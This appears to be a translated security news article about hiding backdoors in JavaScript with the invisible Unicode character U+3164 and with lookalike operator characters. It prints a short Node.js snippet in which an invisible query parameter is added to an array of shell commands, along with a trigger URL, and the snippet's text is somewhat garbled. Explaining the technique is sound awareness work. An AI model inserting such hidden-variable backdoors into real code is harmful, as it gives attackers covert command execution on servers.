Nematomų unikodo simbolių naudojimas norint paslėpti veiksmus „JavaScript“ kode

Taikant Trojan Source atakos metodą, pagrįstą unikodo simbolių, keičiančių dvikrypčio teksto rodymo tvarką, naudojimu, buvo paskelbta kita paslėptų veiksmų įvedimo technika, taikoma JavaScript kodui. Naujasis metodas pagrįstas unikodo simboliu „ㅤ“ (kodas 0x3164, „HANGUL FILLER“), kuris yra raidė, bet neturi matomo turinio, naudojimu. Unikodo kategorija, kuriai priklauso šis simbolis, buvo leidžiama nuo ECMAScript 2015 specifikacijos naudoti JavaScript kintamųjų pavadinimuose, todėl populiariose kodų rengyklėse, tokiose kaip Notepad++ ir VS Code, galima kurti nematomus kintamuosius arba naujus kintamuosius, kurie nesiskiria nuo kitų kintamųjų.

Kaip pavyzdys pateiktas Node.js platformos kodas, kuriame, naudojant kintamąjį, susidedantį iš vieno simbolio „ㅤ“, yra paslėptos užpakalinės durys, leidžiančios vykdyti užpuoliko nurodytą kodą: app.get( '/network_health', async (req, res) = > { const { timeout,ㅤ} = req.query; // iš tikrųjų sako "const { timeout,ㅤ \u3164}" const checkCommands = [ 'ping -c 1 google. com“, „curl -s http:// example.com/“,ㅤ // kablelis ir \u3164 ];

Iš pirmo žvilgsnio per išorinį parametrą perduodama tik skirtojo laiko reikšmė, o masyve su vykdomomis komandomis yra nekenksmingas fiksuotas sąrašas. Bet iš tikrųjų, pasibaigus skirtajam kintamajam, priskiriama kito nematomo kintamojo su simbolio kodu \u3164 reikšmė, kuri taip pat pakeičiama vykdomųjų komandų masyve. Taigi, esant tokiai struktūrai, užpuolikas gali išsiųsti užklausą, pvz., „https://host:8080/network_health?%E3%85%A4=command“, kad suaktyvintų užpakalines duris ir vykdytų savo kodą.

Kitas pavyzdys yra simbolis „ǃ“ (ALVEOLAR CLICK), kuris gali būti naudojamas norint sukurti šauktuko išvaizdą. Pavyzdžiui, išraiška "if(environmentǃ=ENV_PROD){", kai ji vykdoma Node.js 14, visada bus teisinga, nes ji netikrina skirtumų, bet nustato kintamąjį "environmentǃ" į ENV_PROD. Klaidinantys unikodo simboliai yra „/“, „−“, „+“, „⩵“, „❨“, „⫽“, „꓿“ ir „∗“.

Šaltinis: opennet.ru

Добавить комментарий